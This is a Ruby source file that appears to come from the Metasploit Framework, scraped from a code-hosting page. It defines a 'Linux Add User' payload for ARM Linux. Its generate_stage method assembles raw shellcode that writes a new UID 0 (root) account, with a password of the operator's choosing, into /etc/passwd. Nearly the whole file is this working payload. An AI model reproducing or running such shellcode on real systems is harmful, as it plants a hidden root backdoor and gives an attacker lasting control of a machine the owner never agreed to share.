71 lines
1.9 KiB
Ruby
71 lines
1.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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###
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#
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# AddUser
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# -------
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#
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# Adds a UID 0 user to /etc/passwd.
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#
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###
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Add User',
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'Version' => '$Revision$',
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'Description' => 'Create a new user with UID 0',
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'Author' => [ 'Jonathan Salwan' ],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_ARMLE,
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'Privileged' => true))
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# Register adduser options
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register_options(
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[
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OptString.new('USER', [ true, "The username to create", "metasploit" ]),
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OptString.new('PASS', [ true, "The password for this user", "metasploit" ]),
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OptString.new('SHELL', [ false, "The shell for this user", "/bin/sh" ]),
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], self.class)
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end
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#
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# Dynamically builds the adduser payload based on the user's options.
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#
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def generate_stage
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user = datastore['USER'] || 'metasploit'
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pass = datastore['PASS'] || 'metasploit'
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shell = datastore['SHELL'] || '/bin/sh'
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str = "#{user}:#{pass.crypt('Az')}:0:0::/:#{shell}\n"
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strl1 = [ (str.length)+52 ].pack('C*')
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strl2 = [ str.length ].pack('C*')
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pwdir = "/etc/passwd"
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payload =
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"\x05\x50\x45\xe0\x01\x50\x8f\xe2\x15\xff\x2f\xe1" +
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"\x78\x46"+ strl1 + "\x30\xff\x21\xff\x31\xff\x31" +
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"\xff\x31\x45\x31\xdc\x22\xc8\x32\x05\x27\x01\xdf" +
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"\x80\x46\x41\x46\x08\x1c\x79\x46\x18\x31\xc0\x46" +
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strl2 + "\x22\x04\x27\x01\xdf\x41\x46\x08\x1c\x06" +
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"\x27\x01\xdf\x1a\x49\x08\x1c\x01\x27\x01\xdf" +
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str + pwdir
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end
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end
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